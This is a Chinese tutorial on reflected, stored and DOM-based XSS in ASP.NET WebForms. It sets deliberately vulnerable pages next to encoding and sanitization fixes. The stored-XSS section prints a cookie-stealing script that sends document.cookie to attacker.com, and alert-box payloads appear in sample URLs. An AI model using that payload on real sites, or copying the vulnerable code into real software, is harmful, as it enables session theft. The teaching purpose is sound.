XSS漏洞攻击 (跨站脚本攻击)

一、什么是XSS漏洞攻击

1、介绍:

XSS 攻击(跨站脚本攻击)的核心是: 攻击者通过在网页中注入恶意的 JavaScript 代码,当其他用户浏览该页面时,这段代码会在他们的浏览器中执行。

由于这些脚本是在受害者的浏览器中运行的,因此它们可以:

1、窃取用户的 Cookie、Session 信息

2、冒充用户执行操作(如转账、发帖)

3、 修改页面内容进行钓鱼

4、 记录键盘输入

二、XSS 的三种主要类型

1、反射型 XSS 攻击

  • 反射型 XSS(Reflected XSS)

    恶意脚本作为请求的一部分发送给服务器,服务器未过滤直接将其返回给响应。常见于搜索结果、错误消息等。需要诱使用户点击恶意链接。

    案例演示:

    1、创建一个易受攻击的 WebForm 页面 (VulnerablePage.aspx)

    html 复制代码
    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="VulnerablePage.aspx.cs" Inherits="XssDemo.VulnerablePage"  ValidateRequest="false" %>
    <%--注意:因为WebForm 默认开启"防止常见脚本提交"。如果想看到演示效果需要关闭,将 <%@ Page ValidateRequest="false" %>--%>
    
    <!DOCTYPE html>
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head runat="server">
    	<title>XSS 演示 - 易受攻击页面</title>
    </head>
    <body>
    	<form id="form1" runat="server">
    		<div>
    			<h2>XSS 演示:反射型 XSS</h2>
    			
    			<!-- 用户输入框 -->
    			<asp:Label ID="Label1" runat="server" Text="请输入您的名字:" AssociatedControlID="txtName"></asp:Label>
    			<asp:TextBox ID="txtName" runat="server"></asp:TextBox>
    			<asp:Button ID="btnSubmit" runat="server" Text="提交" OnClick="btnSubmit_Click" />
    			<br /><br />
    
    			<!-- 危险的输出方式:直接将用户输入写入页面 -->
    			<asp:Literal ID="litOutput" runat="server"></asp:Literal>
    		</div>
    	</form>
    </body>
    </html>

    2、后台代码 (VulnerablePage.aspx.cs)

    csharp 复制代码
    public partial class VulnerablePage : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            // 检查是否有通过查询字符串传入的名字(模拟反射型XSS)
            string nameFromQuery = Request.QueryString["name"];
            if (!string.IsNullOrEmpty(nameFromQuery))
            {
                // ⚠️ 危险!直接将用户输入拼接到 HTML 输出中
                litOutput.Text = "<p>你好," + nameFromQuery + "!</p>";
            }
        }
    
        protected void btnSubmit_Click(object sender, EventArgs e)
        {
            // ⚠️ 危险!未对用户输入进行任何验证或编码
            string userInput = txtName.Text;
            
            // 直接输出到 Literal 控件(Literal 默认不进行 HTML 编码:HttpUtility.HtmlEncode(userInput))
            litOutput.Text = "<p>你好," + userInput + "!</p>";
        }
    }

    攻击场景 1: 通过表单提交:在 txtName 输入框中输入以下js代码:

    html 复制代码
    <script>alert('XSS 攻击成功!');</script>

    点击"提交"按钮。

    结果:浏览器会弹出一个警告框,显示 "XSS 攻击成功!"。这表明恶意脚本被执行了。

    攻击场景 2: 通过 URL 参数(反射型 XSS):直接访问以下 URL:

    html 复制代码
    http://yourwebsite/VulnerablePage.aspx?name=<script>alert('XSS%20via%20URL!');</script>

    结果:页面加载时,脚本被执行,弹出警告框。

    解决方案

    使用HttpUtility.HtmlEncode()编码

    csharp 复制代码
    protected void Page_Load(object sender, EventArgs e)
    {
        string nameFromQuery = Request.QueryString["name"];
        if (!string.IsNullOrEmpty(nameFromQuery))
        {
            // ✅ 使用 HttpUtility.HtmlEncode 进行 HTML 编码
            litOutput.Text = "<p>你好," + HttpUtility.HtmlEncode(nameFromQuery) + "!</p>";
        }
    }
    
    protected void btnSubmit_Click(object sender, EventArgs e)
    {
        string userInput = txtName.Text;
        
        // ✅ 对用户输入进行 HTML 编码后再输出
        litOutput.Text = "<p>你好," + HttpUtility.HtmlEncode(userInput) + "!</p>";
        
        // 或者使用更安全的 Label 控件(自动编码)
        // lblOutput.Text = "你好," + userInput + "!"; // Label 会自动 HTML 编码
    }

2、存储型 XSS 攻击

  • 存储型 XSS(Stored XSS)

    恶意脚本被永久存储在服务器上(如通过提交表单数据,将<script>脚本直接保存到数据库表中)。当其他用户访问包含该脚本的页面时,自动执行。

    危害更大,影响范围广。

    html 复制代码
    <!-- Guestbook.aspx -->
    <asp:TextBox ID="txtMessage" runat="server" TextMode="MultiLine"></asp:TextBox>
    <asp:Button ID="btnSubmit" runat="server" Text="提交留言" OnClick="btnSubmit_Click" />
    <asp:Literal ID="litMessages" runat="server"></asp:Literal>

    后台

    csharp 复制代码
    // ❌ 危险示例:未验证输入,未编码输出
    protected void btnSubmit_Click(object sender, EventArgs e)
    {
    	string message = txtMessage.Text;
    
    	// 危险:直接存储用户输入
    	SaveToDatabase("INSERT INTO Messages (Content) VALUES ('" + message + "')");
    
    	// 危险:直接输出,未编码
    	litMessages.Text += "<div>" + message + "</div>";
    }

    假设用户在留言框中输入的是以下这段JS脚本:

    javascript 复制代码
    <script>
    	fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
    </script>

    当用户在浏览器中打开Guestbook.aspx页面,就会执行到这段JS脚本代码,这段JS脚本代码会悄悄地将当前页面的 Cookie 发送给攻击者的服务器 。这是一个典型的 XSS(跨站脚本攻击)恶意载荷 ,用于窃取用户身份信息

    解决方案

    方案1、使用 HttpUtility.HtmlEncode 编码后再显示。

    javascript 复制代码
    // 安全输出
    litMessages.Text += "<div>" + HttpUtility.HtmlEncode(message) + "</div>";

    方案2、使用 HTML Sanitizer 库(推荐)

    csharp 复制代码
    using System.Data.SqlClient; // 建议使用参数化查询
    using HtmlSanitizer = Ganss.XSS.HtmlSanitizer; // 使用 HtmlSanitizer 库(需 NuGet 安装)
    
    public partial class Guestbook : System.Web.UI.Page
    {
    	protected void btnSubmit_Click(object sender, EventArgs e)
    	{
    		string message = txtMessage.Text;
    
    		// 1. ✅ 输入验证与清理
    		if (string.IsNullOrWhiteSpace(message))
    		{
    			// 可选:前端也应验证
    			lblError.Text = "留言内容不能为空。";
    			return;
    		}
    
    		// 2. ✅ 使用 HtmlSanitizer 清理富文本(允许部分HTML)
    		var sanitizer = new HtmlSanitizer();
    		sanitizer.AllowedTags.Clear();
    		sanitizer.AllowedTags.Add("b");      // 加粗
    		sanitizer.AllowedTags.Add("i");      // 斜体
    		sanitizer.AllowedTags.Add("u");      // 下划线
    		sanitizer.AllowedTags.Add("br");     // 换行
    		sanitizer.AllowedTags.Add("p");      // 段落
    
    		string cleanMessage = sanitizer.Sanitize(message); // 清理后的HTML
    
    		// 3. ✅ 使用参数化查询防止SQL注入
    		string connectionString = "your_connection_string";
    		string query = "INSERT INTO Messages (Content, CreatedDate) VALUES (@Content, @CreatedDate)";
    
    		using (var conn = new SqlConnection(connectionString))
    		using (var cmd = new SqlCommand(query, conn))
    		{
    			cmd.Parameters.AddWithValue("@Content", cleanMessage);
    			cmd.Parameters.AddWithValue("@CreatedDate", DateTime.Now);
    
    			conn.Open();
    			cmd.ExecuteNonQuery();
    		}
    
    		// 4. ✅ 输出时仍然建议编码(双重防护)
    		litMessages.Text += "<div>" + HttpUtility.HtmlEncode(cleanMessage) + "</div>";
    
    		// 或者:如果您信任 sanitizer 的输出,可以直接输出(但仍建议编码)
    		// litMessages.Text += $"<div>{cleanMessage}</div>";
    	}
    }

    方案3、启用 ASP.NET 请求验证:WebForm 默认开启,防止常见脚本提交。

    csharp 复制代码
    <%@ Page ValidateRequest="true" %>

3、基于 DOM 的 XSS攻击

  • 基于 DOM 的 XSS(DOM-based XSS)

    漏洞存在于客户端 JavaScript 代码中,攻击通过修改页面的 DOM 环境来触发。

    服务器不参与脚本注入,完全在浏览器端发生。

    案例场景:通过 URL 参数注入恶意脚本

    假设你有一个 .NET WebForms 页面 UserProfile.aspx,其功能是根据 URL 中的 username 参数显示用户昵称。

    html 复制代码
    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="UserProfile.aspx.cs" Inherits="MyApp.UserProfile" %>
    
    <!DOCTYPE html>
    <html>
    <head runat="server">
    	<title>基于 DOM 的 XSS攻击演示</title>
    </head>
    <body>
    	<form id="form1" runat="server">
    		<div>
    			<h1>Welcome, <span id="displayName"></span>!</h1>
    		</div>
    
    		<script type="text/javascript">
    			// 从 URL 参数中提取 username
    			function getParameterByName(name) {
    				name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
    				var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
    					results = regex.exec(location.search);
    				return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
    			}
    
    			// 将 username 直接写入 DOM(危险!)
    			var username = getParameterByName('username');
    			document.getElementById("displayName").innerHTML = username;
    		</script>
    	</form>
    </body>
    </html>

    攻击者构造恶意 URL:

    html 复制代码
    http://yoursite.com/UserProfile.aspx?username=<script>alert('XSS')</script>

    当用户访问该链接时,JavaScript 会将 直接插入到 innerHTML 中,浏览器将其作为 HTML 解析并执行脚本,弹出警告框。

    更危险的变种可能包括:

    1、窃取用户的 document.cookie

    2、重定向到钓鱼页面

    3、发起 CSRF 请求

    4、记录键盘输入

    解决方案
    方案 1:使用 textContent 替代 innerHTML

    最简单有效的方式是避免将用户输入作为 HTML 插入。

    typescript 复制代码
    // 安全:使用 textContent(不会解析 HTML)
    document.getElementById("displayName").textContent = username;

    这样即使 username 包含 <script> 标签,也会被当作纯文本显示,不会执行。

    方案 2:对输出进行 HTML 编码(客户端)

    如果必须使用 innerHTML,应先对内容进行 HTML 转义:

    javascript 复制代码
    function escapeHtml(text) {
    	var div = document.createElement('div');
    	div.textContent = text;
    	return div.innerHTML;
    }
    var safeUsername = escapeHtml(username);
    document.getElementById("displayName").innerHTML = safeUsername;

    方案 3:使用现代框架的转义机制(如 jQuery 的 .text())

    javascript 复制代码
    $('#displayName').text(username); // 自动转义
相关推荐
乱码三千10 小时前
密码管理工具站正式上线啦
前端·html·github
IMPYLH10 小时前
HTML 的 <rt> 元素
前端·html
单线程_0110 小时前
从案例分析 Vue3 Tokenizer+Parser 源码五
前端·javascript·vue.js
mldong17 小时前
你的 Vue3 项目也能有钉钉同款审批流设计器:npm 装包,10 分钟画出第一条审批流
前端·vue.js
2分钟速写快排18 小时前
什么是 RAG?如何用 RAG 实现一个用户记忆?
前端·后端·ai编程
passerby606118 小时前
如何自己造一个时间处理库
前端·javascript·github
走到天涯海角20 小时前
react里面的长列表渲染优化
前端·react.js·前端框架
小羊没烦恼!20 小时前
Hello Web API系列教程——Web API与国际化
java·服务器·前端·javascript·php
北岛贰20 小时前
迷茫焦虑期,我做了一个带支付带官网的 AI 聊天虚拟恋人 App
前端·人工智能·后端
mayaairi21 小时前
Vue2 组件通讯(三):全局事件总线、PubSub、插槽与组件实例属性
前端·javascript·vue.js